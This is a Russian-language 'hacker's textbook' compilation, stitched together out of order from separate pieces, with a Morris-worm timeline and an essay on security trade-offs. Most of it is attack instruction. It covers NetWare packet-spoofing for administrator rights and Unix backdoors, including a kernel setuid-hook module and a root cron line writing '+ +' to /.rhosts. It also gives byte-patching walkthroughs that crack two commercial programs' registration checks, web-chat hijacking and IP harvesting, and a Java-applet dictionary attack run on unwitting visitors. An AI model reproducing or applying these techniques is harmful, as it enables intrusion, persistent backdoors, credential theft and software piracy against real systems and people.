Для проверки работы алгоритма пришлось сделать новую программу. С помощью следующего нововведения удалось добиться, чтобы в сети никто не "повис". Серверу посылаются подряд 256 пакетов с разными значениями в поле Sequence Number (см. Рисунок 4). Только значение поля не увеличивается, а уменьшается. Следовательно, "правильный" пакет серверу придет только один, и значение счетчика пакетов на сервере увеличится только на единицу. Сервер, после того как ему приходит настоящий пакет, полагая, что ответ на предыдущий запрос станции ей не дошел, делает "откат" в счетчике пакетов и обрабатывает запрос станции снова. Но самое главное сервер не делает откат операции, которая только что была выполнена.
Рисунок 4.
Схема перехвата полномочий.
На Распечатке 1
приведен формат пакета, посылаемого подобными программами. Этот пакет эмулирует выполнение операции Equivalent To Me, позволяющей получить почти все права администратора сети (для удобства фоpмат пpиведен в опpеделениях языка ассемблеp).
Данный пример не применим в случае сети NetWare 4.x по следующим причинам. В поколении сетей 4.х введен новый тип администратора - Admin. Для совместимости с предыдущими версиями существует SUPERVISOR, но администраторы сетей его не используют, хотя функция корректно обрабатывается сервером. Также в сетях 4.х возможно отключение поддержки базы Bindery в связи с переходом к службе каталогов NDS. Имя пользователя должно быть полным - т. е. с указанием дерева и контекста (например, 3107.inf.tsu).
С учетом всего вышесказанного можно построить пакет, который будет приносить результат и в сети NetWare 4.x. Заголовки протоколов IPX и NCP можно оставить без изменений, а данные NCP могут быть такими, как на Распечатке 2.
Здесь взломщик сети получает права администратора на все дерево NDS. В том случае, конечно, если подобные права есть у самого администратора, и он работает в сети.
Следует отметить, что для получения прав администратора сети злоумышленнику в любом случае необходимо иметь доступ в сеть, хотя бы с минимальными правами.
Следовательно, потенциальным взломщиком может быть только тот, кто имеет доступ к ресурсам вашего сервера. Также, вполне вероятно, что некто получит доступ в сеть, используя чужое имя входа и пароль. Наверняка в вашей сети имеются пользователи с паролями, не соответствующими правилам безопасности. Например, у них вообще может не быть пароля или он совпадает с именем пользователя. Для выявления таких пользователей существуют различные вспомогательные программы. Одна из таких программ - chknull.exe - позволяет проверить наличие паролей и степень их безопасности. Запустив ее, вы увидите список пользователей, которые не удосужились задать пароль. С параметром -p программа проверит наличие пользователей, у которых пароли совпадают с их именами входа в сеть. Также в командной строке в качестве параметра вы можете перечислить нежелательные для применения пароли и получить список пользователей с такими паролями.
Эту программу, как и множество других, относящихся к теме безопасности NetWare, можно найти в глобальной сети Internet. Например, по адресу: http://www.tsu.ru/~eugene/, вы найдете и эти программы, и список некоторых адресов, посвященных защите сетей Novell NetWare. Но помните: программой, подобной chknull, можете воспользоваться не только вы, как администратор, но и те, кто хочет получить несанкционированный доступ в вашу сеть.
Атрибуты специальных устройств.
/dev/mem указывает на драйвер для доступа к памяти. Постановка на него атрибутов 0666 дает пользователю возможность прямой записи в память. Злоумышленник может найти proc_t структуру своего процесса и изменить его эффективный uid. {kmem_thief}
Backdoors
"Мертвый компьютер - защищенный компьютер!"
Безопасность о двух концах.
Пример выше еще раз убеждает в том, что при разработке и реализации подсистемы безопасности ВС принимаемые решения должны быть тщательно выверены и проанализированы со всех точек зрения (а не должны слепо следовать требованиям стандартов, нормативов или некоторой субъективной логики). Одну такую точку зрения я предлагаю в этой статье - ни одно решение, направленное на профилактику, затруднение, обнаружение, регистрацию, противодействие или восстановление от некоторой угрозы не должно повышать вероятность осуществления другой угрозы. Возможно, это требование будет самопротиворечиво в общем случае, тогда необходимо его уточнить так, что угрозы, вероятность осуществления которых может повыситься, не должны быть более опасными.
Понятие "опасности" угрозы также нельзя, видимо, определить в общем случае (можно очень долго дискутировать, что, например, является более опасным - раскрытие или уничтожение информации, да это и не является целью данной статьи), но ранжирование угроз по степени опасности можно проводить, исходя из задач защищенной вычислительной системы. Для подавляющего большинства защищенных систем общего назначения, впрочем, можно признать, что из трех основных классов угроз: раскрытия, целостности и отказа в обслуживании, - последняя является наименее опасной.
Таким образом, если условно разделить функции подсистемы защиты на (см. рис. 1):
профилактику (предотвращение)
затруднение
обнаружение
противодействие (отражение)
регистрацию (учет)
восстановление
то для каждой из них можно придумать такие вполне вероятные способы внедрения, которые будут нарушать сформулированный выше принцип.
Рис. 1. Функции подсистемы защиты.
К наиболее распространенным и универсальным (могущим существовать во многих ВС) я бы отнес следующие сценарии нарушения безопасности, использующие сами средства защиты (цифры соответствуют предыдущему списку):
1.
1.1. Предотвращение угрозы приводит к событию, которое является более уязвимым (нештатным) по сравнению с плановой работой системы.
Этими событиями могут быть перезагрузки машины, переинициализации подсистемы безопасности и т.п. (см. пример 2 - использование механизма смены паролей для атак на подсистему аутентификации).
1.2. Предотвращение угрозы требует значительных ресурсов ЭВМ, из-за чего систему легче подвергнуть отказу в обслуживании (см. пример 5 - использование шифрования трафика для атак отказа в обслуживании).
2. Затруднение угрозы приводит к установке таких атрибутов безопасности, которые являются неприемлемыми для пользователей этой системы, что приводит к отключению или фактическому сведению на нет системы защиты (см. пример 4 - установка минимальной длины пароля для атак на криптографическую подсистему).
3. Система обнаружения угроз имеет такие расплывчатые признаки угрозы, что ее постоянное срабатывание приводит к ее полному отключению (пример - резидентные антивирусные блокировщики первого поколения, доводившие пользователя до исступления вопросами "Разрешать запись в файл XXX (Д/Н)?").
4.
4.1. Система противодействия реализована так, что она останавливает систему в крайнем случае с целью не допустить потери информации в ней. Тогда хакер может смоделировать "крайний случай" и система выйдет из строя.
4.2. Система активного противодействия может пытаться заблокировать или уничтожить систему, с которой происходит атака. Злоумышленник может подменить адрес, с которого происходит атака, на адрес самой системы.
4.3 Противодействие системы может быть направлено против ее администратора, отвечающего за отражение атаки. (см. пример 1 - блокирование ресурса администратора и невозможность противодействия им другим атакам).
5. Использование системой регистрации значительных ресурсов ЭВМ, из-за чего происходит отказ системы (см. пример 3 - переполнение файла регистрации событий, приводящее к отказу в обслуживании).
6. Предположим, что система восстановления поле атаки восстанавливает "ядро" системы из некого резервного источника. Но, если в результате атаки хакер сможет внедрить "троянского коня" непосредственно в резервную копию, то в результате такого восстановления эта закладка попадет в реально работающую систему.
Далее будет рассмотрен ряд примеров, иллюстрирующий эти сценарии.
Действующие лица
Десять лет назад, 2 ноября 1988 года, приблизительно в пять часов вечера на одном из компьютеров Массачусетского Технологического института был запущен знаменитый "Червь".
Это было беспрецедентное событие, первая в истории Интернета заранее спланированная атака. С тех пор сообщения о подобных инцидентах поступают с удручающей частотой. Но история первой атаки по-прежнему интересна - и как беспрецедентное событие, и потому, что люди, в отличие от программ, изменились не сильно.
Итак, что же произошло 2 ноября 1988 года? Главные действующие лица этой истории - не только люди, но и особые программы - "Червь" и "демоны". Что вообще, такое "демон"? Что такое "вирус"? Что такое "червь"?
Пользователи, как правило, привыкли иметь дело с так называемыми интерактивными программами. Интерактивная программа - это программа, которая получает от пользователя запросы и выдает на них какие-то ответы. "Демон" же с пользователем непосредственно не общается. Дело в том, что часто бывает нежелательно, а иногда и просто невозможно физически открыть интерактивной программе доступ к той информации, которая нужна ей для работы. В этом случае используются технологии, называемые "Клиент-Сервер", Программа-клиент интерактивно общается с пользователем, программа-сервер, или "демон", общается с программой-клиентом и обрабатывает полученные от нее запросы.
Говорят, что термин "демон" (daemon) пошел от аббревиатуры Disk And Execution MONitor - Монитор Диска и Исполнения, но, откуда бы этот термин не взялся, он стал означать программу, не способную взаимодействовать с пользователем напрямую.
Собственно, именно "демоны" обслуживают сервисы Интернета. Наиболее важными действующими лицами этой истории из "демонов" являются Сендмейл (Sendmail) - почтовый демон, и фингерди (fingerd) - демон специальной услуги, называемой "фингер" - палец (finger).
Функции сендмейла заключаются в приеме электронной почты и информации о том, кто и кому ее послал.
Он же осуществляет рассылку.
Фингерди, демон гораздо более простой, понимает специальные запросы - на вопрос о пользователе отвечает, когда тот в последний раз регистрировался в системе, когда в последний раз читал почту и так далее.
Что такое вирус? Вирус - это программа, распространяющая себя на компьютере. Как правило, это делается путем модификации некоторых исполняемых файлов - вируc "добавляет" себя к программе.
Термин "вирус" произошел из научной фантастики, но удручающе быстро стал часто встречаться в реальности. К компьютерам этот термин был приложен впервые в 1983 году, Фредом Кохеном. По его утверждению, он написал первого вируса в процессе подготовки докторской диссертации, третьего ноября 1983 года - по иронии судьбы, почти ровно за пять лет до Червя. Впрочем, к теме данной статьи вирусы имеют лишь косвенное отношение. Тип программ, к которым принадлежал Червь Морриса, так и называется - черви.
Что такое червь? Червь - это программа, созданная для того, чтобы работать на нескольких компьютерах, копировать себя из машины в машину и там запускать. Впервые термин "Червь" был использован в 1975 году в научной фантастике. До 88-го года многие корпорации, такие, как Xerox, экспериментировали с разделяемыми задачами. К примеру, весьма известен в то время был червь, названный Вампиром. Вечером, когда люди уходили из лаборатории, он запускал процессы, требующие больших затрат ресурсов компьютера. Утром, прежде чем сотрудники возвращались, он сохранял состояние задач и освобождал компьютеры. Кстати, с одним из подобных червей была связана первая проблема, похожая на атаку "Червя". Из-за ошибки в программировании он не прекратил свою работу утром. Более того, когда машины выключали и включали снова, черви из соседних компьютеров запускали свои копии на вновь включенные, срывая таким образом работу. Однако, во-первых, эти черви не были предназначены для таких действий (это был их внештатный режим); во-вторых, все это происходило в локальной сети, в зоне ответственности одного администратора, и все было под рукой - но 2 ноября была запущена, наверное, не имевшая себе аналогов, агрессивная и живучая программа.
Добавление или модификация демонов.
Системные демоны обычно запускаются при старте системы из /etc/rc?.d/ файлов или при помощи мета-демона inetd. В эти файлы можно добавить старт своего демона. Для затруднения обнаружения посторонних соединений путем прослушивания сети или обмана firewalla чужая программа может использоваться UDP протокол или ICMP пакеты.
Добавление модулей в ядро.
Взломщик может добавить свой модуль в ядро и перехватить какой-либо из системных вызовов, скажем, SYS_setuid. SYS_setuid Solaris 2.6 .... proc_t p; user_t ut; int my_setuid(uid_t uid) { int rval;
p = ttoproc(curthread); mutex_enter(&p->p_lock); up = prumap(p); rval = bcmp(up->u_comm, "devil", 5); (void)prunmap(p); mutex_exit(&p->p_lock); if( rval) { rval = setuid(uid); } else { ... } return 0; } ....
Теперь достаточно переименовать свою программу в devil* и вызвать setuid для получения uid = 0.
ДРУГИЕ АСПЕКТЫ БЕЗОПАСНОСТИ
Функция disconnect, обрывающая связь сервера с клиентом с помощью всего лишь одного пакета, также осталась незащищенной. Любой пользователь сети может незаметно "выкинуть" другого (даже администратора) и наслаждаться сделанной мелкой пакостью, а иногда и не мелкой (например, если в это время шел процесс резервного сохранения данных).
В заключение статьи хотелось бы сказать несколько слов о паролях в сетях NetWare. Дело в том, что узнать пароль можно только лишь при определенных условиях с помощью программы-перехватчика, которая запоминает комбинацию клавиш. Тех, кто думает, что пароль посылается по сети (а таких немало), спешим разочаровать: в NetWare этот недостаток свойственен только программам доступа к консоли сервера NetWare и регистрации пользователей Macintosh. Следовательно, заботой администратора в данной области защиты является периодическая проверка на наличие паролей.
Многие из старых ошибок уже не актуальны в последней версии IntranetWare, но в России эта система пока не получила такого распространения, как NetWare 3.x или NetWare 4.1. Многие сетевые администраторы не хотят переходить на новую систему либо по причине ее кажущейся сложности (хотя это далеко не так), либо по причине отсутствия средств, но не самое ли лучшее вложение денег - в будущую стабильность и надежность?
Учебник хакера
УЧЕБНИК ХАКЕРА Введение Взлом Windows-приложений Взлом WWW-сервера на основе WebSite v1.1x Некоторые аспекты атаки по словарю "Сладкая Булочка" или "Ой, а что с моим компьютером?" Руководство Soft-Ice SoftIce в действии О "взломах" html-чатов Безопасность против безопасности Первый удар Как был взломан "Релком-Украина" Backdoors Черный ход в NetWare Странички истории, или как действительно был взломан Сити-Банк Исследования Intranet-сети компании PepsiCola International
ГОЛЛАНДСКАЯ АТАКА
На принципе подстановки пакетов была основана так называемая голландская атака, придуманная группой голландских студентов. Существует несколько версий реализации подстановки пакетов. Наиболее известная в России программа написана на ассемблере русским программистом, вместе с ней распространяется файл, содержащий описание ее работы. Эту программу автор статьи довольно часто встречал в сети своего университета, особенно у студентов первого и второго курсов. Теоретически у того, кто ее запустит, должны появиться все права на сервер - эквивалент SUPERVISOR (программа писалась для NetWare 3.x). Но у нее существует несколько недостатков.
Для успешного ее выполнения SUPERVISOR должен находиться в сети. Программа не пытается выяснить номер соединения администратора с сервером, а перебирает всех пользователей сети подряд, пока не получит результат. После выполнения программы в сети (кроме взломщика) останутся те, кому повезло (номера их соединений с сервером оказались больше, чем у администратора). Остальным (включая администратора) придется входить в сеть заново.
Автор этих строк еще не видел, чтобы данная программа работала. В ее коде существует несколько ошибок, из-за которых она "виснет" или просто не работает.
HACKING
ВЗЛОМ WINDOWS-ПРИЛОЖЕНИЙ
Для начала я научу вас пользоваться W32Dasm. Я не хочу вам давать детальную помощь, как делать краки, но я могу научить вас самим добывать себе умения и навыки взлома.
Когда вы используете W32Dasm, знайте, что он не даст вам серийные номера или коды, он лишь покажет путь, где находится место, где можно эти номера вводить. То, что я делаю каждый день при взломе программ, будет описано в этом справочнике, шаг за шагом.
ИНСТРУМЕНТЫ :
из инструментов взлома вам нужно следующее : W32Dasm 8.5 или боолее позднюю версию, Hacker's View 5.24, Norton Commander (я позднее объясню, почему я его использую).
Turbo Pascal 7.0
TASM и TLINK 3.0
ЧАСТЬ 1 : Как кракнуть Quick View Plus 4.0
Шаг 1. Запустите ORDER32.EXE
Шаг 2. Кликните на $49 Single User License (вы можете кликнуть и на $59), затем ACCEPT, потом UNLOCK BY PHONE.
Шаг 3. Введите любой код для получения сообщения об ошибке (вы должны записать это сообщение), потом выйдите из программы, кликнув на CANCEL.
Шаг 4. Запустите Norton Comander, перейдите в директорию QVP.
Шаг 5. Скопируйте ORDER32.EXE в ORDER32.EXX (для сохранности), а затем скопируйте ORDER32.EXE в 1.EXE
(для использования в W32Dasm).
Шаг 6. Запустите W32Dasm и раздессимблируйте 1.EXE.
Шаг 7. После этого, кликните на STRING DATA REFERENCE, найдите там сообщение "You have entered an incorrect code.Please check your entry" (вы должны помнить,что это было сообщение об ошибке) и дважды щелкните мышью по нему.
Шаг 8. Закройте SDR окно. Вы должны увидеть сообщение:
* Possible reference to String Resource ID=00041: "You have entered...
:004049F8 6A29 push 00000029
:004049FA FF353CCE4000 push dword ptr [0040CE3C]
Шаг 9. ОК, теперь вы должны найти последнее сравнение типа CMP,JNE, JE,TEST и т.д. перед сообщением об ошибке.
Нажимайте стрелку "вверх", пока не найдете :
:004049CD 755A jne 00404A29
* Possible reference to String Resource ID=00032: "You must select...
:004049CF 6A20 push 00000020
...
...
* Possible reference to String Resource ID=00040: "Unlock Error"
Шаг 10. Теперь вы знаете, куда идет скачок при введении неправильного кода. Теперь можно посмотреть, что произойдет, если "jne" на "je". Убедитесь, что зеленая полоска находится на надписи:
004049CD 755A jne 00404A29, вы должны увидеть Offset address внизу на статусной строке типа
@Offset 00003DCDh Это место, где вы можете внести изменения в ORDER32.EXE.
Шаг 11. Перейдите обратно в Norton Commander, запустите HIEW ORDER32.EXE, нажмите F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите 3DCD.
Вы должны увидеть следующее :
00003DCD: 755A jne 000003E29
00003DCF: 6A20 push 020
00003DD1: FF15 call w,[di]
Шаг 12. Это то место, где вы можете изменить байты, нажмите F3, введите 74, нажмите F9 для обновления ORDER32.EXE. Выйдите из HIEW.
Шаг 13. Запустите ORDER32.EXE, введите любой код. Ура ! Мы сломали QVP 4.0 !
Но ! Что будет, если ввести настоящий серийный номер ? Появляется сообщение об ошибке ! Что это ?
Шаг 14. Снова запустиите HIEW ORDER32.EXE, нажмите F4, выберите Decode, нажмите F5 и введите 3DCD. Нажмите F3, введите EB, нажмите F9. Вы прямо "прыгнете" на Unlocked диалог.
ЧАСТЬ 2 : Как кракнуть Hex WorkShop 2.51
Шаг 1. Запустите HWORKS32.EXE
Шаг 2. Кликните на HELP, About HEX Wo..
Шаг 3. Введите любой код, чтобы получить сообщение об ошибке (вы должны записать это сообщение) и выйдите из программы.
Шаг 4. Запустите Norton Commander, перейдите в директорию HWS.
Шаг 5. Скопируйте файл HWORKS32.EXE в HWORKS32.EXX
(для сохранности) и скопируйте файл HWORKS32.EXE в 1.EXE (для использования в W32Dasm).
Шаг 6. Запустите W32Dasm и "разберите" 1.EXE.
Шаг 7. После этого, нажмите мышью на FIND TEXT, введите
"You have entered an" (вы должны помнить, что это сообщение об ошибочно введенном серийном номере) и найдите соответствующую строку (вы не сможете сделать это в SDR-окне !)
Шаг 8. Вы должны увидеть следующую строку :
Name: DialogID_0075, # of Controls=003, Caption:
"Registration Unsucce..
001-ControlID:FFFF, Control Class:""Control Text:"You have entered an..
002-ControlID:FFFF, Control Class:""Control Text:"Please confirm you..
Шаг 9. Оk, теперь вы знаете, что ControlID будет использоваться, когда вы введете неверный код. Кликните FIND TEXT, введите "dialogid_0075" и вы найдете:
* Possible reference to DialogID_0075
:0041E233 6A75 push 00000075
:0041E235 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]
Шаг 10. Теперь вы должны поискать последнюю ссылку, типа
CMP, JNE, JE и пр. перед диалогом об ошибке. Нажимайте клавишу "вверх", пока не найдете :
:0041E14F 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]
Шаг 11. Теперь вам нужно посмотреть, что произойдет, если "je" заменить на "jne". Убедитесь, что зеленая полоска установлена на строке
:0041E149 0F8479000000 je 0041E1C8.
Вы должны на нижней статусной строке увидеть оффсетный адрес, типа : @Offset0001D549h. Это то место, где вы сможете кракнуть HWORKS32.EXE
Шаг 12. Перейдите обратно в Norton Commander, запустите HIEW HWORKS32.EXE, нажмите F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите
ID549.
Вы должны увидеть следующее :
0001D549: 0F847900 je 00001D5C6 ---------- (1)
0001D54D: 0000 add [bx][si],al
0001D54F: 8B8DFCFE mov cx,[di][0FEFC]
Шаг 13. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите 0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.
Шаг 14. Запустите HWORKS32.EXE и введите любой код, работает ? НЕТ !?!??!?!
Хе-хе-хе... Не волнуйтесь ! Снова перейдите в Нортон.
Скопируйте HWORKS32.EXX в HWORKS32.EXE (теперь
вы видите, почему я делаю копию файла с расширением
ЕХХ для сохранности). Теперь перейдите в W32Dasm, вы
должны перейти туда, где только что были (на 0041У145).
Шаг 15. Нажмите F3 для очередного поиска "DialogID_0075", вы должны найти :
Шаг 16. Ok, теперь вы теперь можете посмотреть на последние ссылки, типа CMP, JNE, JE и т.д. перед диалогом об ошибке. Нажимайте стрелку вверх, пока не найдете :
Шаг 17. Теперь вы можете посмотреть, что произойдет, если "je" заменить на 'jne". (это должно сработать). Переместите
полоску на :004309F3 0F8479000000 je 00430A72. На статусной строке внизу экрана вы должны следующее:
@Offset0002FDF3h (оффсетный адрес). Это то место, где
вы сможете кракнуть HWORKS32.EXE.
Шаг 18. Перейдите в Norton Commander, запустите HIEW
HWORKS32.EXE, нажмите F4 для выбора Decode Mode
(ASM), нажмите F5 и введите 2FDF3. Вы должны увидеть:
0002FDF3: 0F847900 je 00001D5C6 ---------- (1)
0002FDF7: 0000 add [bx][si],al
0002FDF9: 8B8DFCFE mov cx,[di][0FEFC]
Шаг 19. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите 0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.
Шаг 20. Запустите снова HWORKS32.EXE и введите любой код. Работает ? Виола !!! Поздравляю !!! Вы кракнули HEX
Здесь несколько важных функций, используемых для крака :
Hex: Asm: Means
75 or 0F85 jne jump if not equal
74 or 0F84 je jump if equal
EB jmp jump directly to
90 nop no operation
77 or 0F87 ja jump if above
0F86 jna jump if not above
0F83 jae jump if above or equal
0F82 jnae jump if not above or equal
0F82 jb jump if below
0F83 jnb jump if not below
0F86 jbe jump if below or equal
0F87 jnbe jump if not below or equal
0F8F jg jump if greater
0F8E jng jump if not greater
0F8D jge jump if greater or equal
0F8C jnge jump if not greater or equal
0F8C jl jump if less
0F8D jnl jump if not less
0F8E jle jump if less or equal
0F8F jnle jump if not less or equal
Ваши небольшие знания по Ассемберу, вам, естественно, помогут, и они вам потребуются для использования Soft-ICE. Кроме того, вы сможете кракать эти куски с помощью W32Dasm как маньяк :-) Вы не сможете дизассемблировать программы на Visual Basic, для него вам понадобятся специальные декомпилеры.
Удачи !
Htmlcht
О "взломах" html-чатов
Я предполагаю, что читатель знает, что такое CGI, и на этом построю своё объяснение.
Начал я с малого.
В любом чате фрейм, в котором ты пишешь сообщения, генерится динамически (для каждого входящего) и, возможно, содержит несколько скрытых полей. Типа (так в партизанах хранится UserID)
Идея в следующем: сохраняем содержимое этого фрейма на диске и исправляем его так, что бы можно было с ним работать со своего винта. Т.е. заменяем ссылки типа /cgi-bin/refresh.pl на полный путь www.chat.nsk.su/cgi-bin/refresh.pl и вместо скрытых полей формы пишем типа (что бы можно было их изменять) После этого делаем HTML документ для "сборки чата" из кусков. Т.е. примерно так "First.htm"
Start.htm - это и есть тот фрейм который я сохранил и изменил
После этого я просто броузером открывал эту страницу (First.htm). И сразу(!!!) попадал в чат, минуя стандартную процедуру входа. Это позволило :
1. Обходить зарегистрированные имена
2. Прятать свой IP от киллеров, за счет взятия чужого ID'a
Дальше мне стало интересно вычислить IP участников. Я обнаружил, что не запрещён тэг . Это позволило вставлять в своё сообщение ресурс со своей машины. Сам по себе звук на хер не нужен, но этот косяк позволил вставить в свой месс строку типа . Этот скрипт (spy.exe) вызывался с машины КАЖДОГО участника чата. Это позволило увидеть IP всех (скрипт просто сохранял мне на винт данные из переменной окружения REMOTE_ADDR).
Это мне не очень понравилось, тк не понятно было где чей IP. Примерно в это-же время в чате появились приваты. Это значит, что документ в главном фрейме (тот где мессы все) стал называться по другому.
После этого в скрипт (spy.exe) был добавлен вывод ID'a из переменной окружения HTTP_REFERER Ну а сопоставить ник с ID'ом не проблемма, тк ID каждого прописан там же примерно в такой строке
Тут ник
(Это строка взята из правого фрейма, где можно вызвать функцию "Кто в чате")
После этого перестало быть проблемой сопоставление ника и IP. Затем я решил позабавиться с приватами.
Используя метод сохранения странички на винт (описанный выше), я получил форму для отправления приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог в отсылаемом приватно сообщении проставлять имя отправителя.
Осталось только одно. Я знал, что в чате есть киллеры, но ничего не знал про то, что это, где это, как это. Знал только, что для того, чтобы киллерствовать надо зайти на какую-то страничку. Очевидно, что в этой киллерской страничке показываются имена. Я предположил, что моё имя показываются таким, каким я его ввожу. Исходя из этого, я под именем MyNick зашел в чат (через прокси), и начал легонько ругаться (мне надо было, чтобы киллеры зашли на свою страничку). После этого (когда меня убили) я разгреб лог моего ВебСервера (OmniHTTPd beta) и увидел там обращение со страници не относящейся к известным мне страницам чата. Я полез на эту страницу и получил запрос на ввод пароля, со словами "Дорогой администратор...".Это приятно согрело душу. Дальше я начал думать, то ли подобрать пароль, то ли ещё что придумать. Но ситуация так сложилась, что я оказался в одной сети с киллером, и, запустив сниффер, я поимел пароль.
Ну вот и все.
INTRO
Введение
Перед Вами уникальный в своем роде учебник, который в этом виде выходит впервые! В нем собрана и структурирована вся актуальная на сегодняшний день информация, которая может быть полезна как начинающему так и "бывалому" хакеру. Мы постарались включить сюда самые последние достижения в области хака и крака. В учебнике затрагиваются практические примеры крака программ с использованием наиболее известных дебаггеров, конкретные примеры взлома интернет-сайтов, web-chat'ов. Также можно узнать все про Backdoor ("черный вход") на интернет-сайты требующие предварительной регистрации. В учебник включено руководство Soft -Ice. Все материалы на русском языке!!!
История Червя: даты и время
2 ноября
примерно 17:00
Червь запущен примерно 18:00
Машина prep.ai.mit.edu, машина с открытым доступом, заражена. 18:30
Зараженная машина Питтсбургского Университета заражает машины корпорации RAND 21:00
Червь в Стэнфорде 21:30
Первая машина в Университете штата Миннесота заражена 22:04
Калифорнийский Университет, Беркли. Майк Карелс и Фил Лапсли вскоре обнаружили Червя по необычно высокой загрузке машины. 22:40-23:40
Северная Каролина, SRI, Университет Карнеги-Меллона, Университет Мэрилэнда, Университет Пенсильвании, Массачусетский Технологический... Червь победоносно шагает по Сети. 23:40
В Беркли понимают, что атака ведется через rsh и sendmail. В качестве меры предосторожности, начинается блокирование сетевых сервисов. 23:45
Машины Лаборатории Баллистических Исследований заражены 23:49
Заражены машина Университета штата Юта, в течение следующего часа загрузка возросла до 100. 3 ноября
до 2:00
Продолжается заражение... 2:38
Peter Yee посылает в список рассылки TCP-IP сообщение “Нас атакуют” 3:34
Анонимный постинг в TCP-IP, вкратце описывающий, как остановить Червя. Автор постинга (Andy Sudduth) послал это сообщение после телефонного разговора с Моррисом, но, из-за перегрузки сетей и компьютеров, письмо не было отослано в течение примерно суток примерно 4:00
Университет штата Колорадо и Университет Пурдью атакованы 5:54
Кейт Бостик отправляет предупреждение о Черве и заплаты к sendmail в список рассылки TCP-IP, ньюсгруппу 4bsd-ucb-fixes и нескольким системным администраторам 6:45
Клиффорд Столл сообщает о Черве в Национальный Центр Компьютерной Безопасности 7:30
Юджин Спаффорд обнаруживает необычную загрузку компьютеров. Считая, что дело в неисправности, он перезагружает машины. 8:07
Эдвард Ванг в Беркли разбирается с атакой через fingerd, но его письмо остается неотправленным в течение более чем полусуток 8:18
Юджин Спаффорд читает письмо Кейта, и отправляет кго в ньюсгруппу news.announce.important, в список рассылки nntp-managers и более чем 30 системным администраторам.
10:36
Юджин Спаффорд делает первое описание атаки Червя (атака через fingerd еще неизвестна)
11:30
Арпанет и Милнет разъединены
14:50
Машины в Пурдью, с исправленным sendmail'ом, вновь инфицированы.
18:00
Майк Спицер и Майк Рован, Пурдью, обнаруживают ошибку в fingerd. Из-за сбоя почтовой системы их письмо не отправляется
19:00
Билл Соммерфилд их Массачусетского Технологического Института звонит в Беркли и сообщает об атаке через fingerd. Однако, никаких писем и постингов не следует
19:19
Кейт Бостик публикует повые патчи к sendmail и fingerd. Письмо портится при передаче, а многие узлы получают его лишь на следующий день.
19:37
Тим Бекер из Рочестерского Университета рассылает описание атаки через fingerd.
23:10
В Беркли начинается работа по декомпиляции Червя
К утру 4 ноября, в Беркли и в Массачусетсе работы по декомпиляции были завершены. К 11 часам связь между Арпанет и Милнет была восстановлена. К 8 ноября: в целом, Интернет работал уже в обычном режиме.
Изменение атрибутов файлов.
suid-bit (04000). При запуске программы, имеющей s бит система порождает процесс с эффективным uid равным uid хозяина программы. Таким образом, копия shell, лежащая в удаленном каталоге и имеющая sticky-bit, дает мгновенные права "хозяина" файла, например root.
Изменение системных файлов.
/var/spool/cron/crontabs/ Cron создает заказанные процессы в установленное время. Взломщик может добавить строку, создающую, например, .rhosts файл в полночь и уничтожающую его утром в файл заданий root.
/var/spool/cron/crontabs/root: 0 22 * * 6 "echo '+ +' > /.rhosts" 0 6 * * 1 "rm -rf /.rhosts"
/etc/passwd, /etc/shadow - в этих файлах храниться информация о аккаунтах. Взломщик может добавть в них свои записи или изменить аттрибуты этих файлов для внесения в произвольный момент своей информации. /var/sadm/install/contents - этот файл хранит информацию о проинсталлированных в системе файлах, их размеры, атрибуты и контрольную сумму. Этот файл может быть изменен для сокрытия модификации программ.
Javacrk
Некоторые аспекты атаки по словарю
Всем известна старая атака по словарю. А так же ее дополнение ( имеется в виду атака с нескольких машин ). В общем случае это выглядит так :
1. Клиент(далее Crk-client) обращается к серверу(далее Crk-server) за очередной порцией паролей
2. Crk-server помечает эту порцию как находящуюся в работе
3. Crk-client пробует все пароли из этой порции .
а) Если один из них подошел , отправляется сообщение на Crk-server, и на этом заканчиваем перебор.
б) Если нет то Crk-client отсылает на Crk-server сообщение об окончании перебора и берет новую порцию.
в) Если соединение разрывается по ошибке или Crk-client завис, то он ,естественно ,ничего не отправляет.
4. Crk-server получает сообщение об окончании перебора ( см.3б ), тогда эта порция удаляется как уже обработанная . Или , по time-out'у , Crk-server помечает эту порцию как необработанную ( см.3в )
Теперь непосредственно сама идея.
Рассмотрим например chat.ru(далее сервер). Он предоставляет следующие виды сервиса :
1. Размещение страниц
2. Почту ( как POP3 , так и SMTP )
и т.д. ( остальное нас не интересует)
Рассмотрим как можно организовать перебор пароля на ЛЮБОЙ сервис данного сервера.
Crk-client можно написать в виде апплета на яве и положить апплет на сервер. Это делается для того , что бы перебором паролей занимались посетители этой страницы ( даже не подозревая об этом ). В логах сервера перебор будет разнесен во времени и пространстве, т.е. попытки будут происходить через неравные промежутки времени и из разных мест. И к тому же невозможно будет определить кто же в действительности подбирает пароль.
Этот апплет может коннектиться только с тем сервером откуда он был загружен (chat.ru). Нам это и нужно.
Проблема в следующем: как разместить на сервере Crk-server ? Очевидно , что это не получится . Покажем как можно обойтись без Crk-server'а ...
Регистрируем два аккаунта(далее WordList и TMP) на сервере, размещаем HTML-страничку с апплетом Crk-client, а словарь ложим в почтовый ящик (WordList) на сервере.
Словарь необходимо разбить на порции , например по 20 паролей. При этом каждая порция лежит отдельным письмом. Crk-client при запуске, обращается на WordList по протоколу POP3 и берет первое-же письмо ( удаляя его с WordList , но отсылая его по SMTP на TMP). Далее Crk-client начинает перебор. Если пароль успешно найден, отправляем его по SMTP себе :)) Если перебор завершился впустую , удаляем из TMP эту порцию . Здесь может возникнуть проблемма , когда одновременно работают несколько клиентов. Но "свою" порцию можно найти используя команду POP3 TOP msg n.
Если Crk-client не доработал из-за ошибки , то эта порция не потеряется и ее можно переместить из TMP в WordList . Делать это придется или вручную ( что нежелательно ) или возложить эту функцию на Crk-client. Тут возникает еще одна проблема, как отличить в TMP порции которые обрабатываются сейчас от тех которые надо переместить в WordList . Для этого нужно анализировать дату отправки порции и текущее время. Если разница порядка часа , то эту порцию перемещаем в WordList.
Скорость перебора зависит от качества связи с сервером и от количества посетителей этой странички. Как сделать страничку посещаемой - тема для отдельной статьи :)))
Сейчас я работаю над реализацией этого алгоритма. Пока что это только теория. В процессе работы возникло сомнение , а может ли апплет работать с почтовыми протоколами ? Оказалось, может.
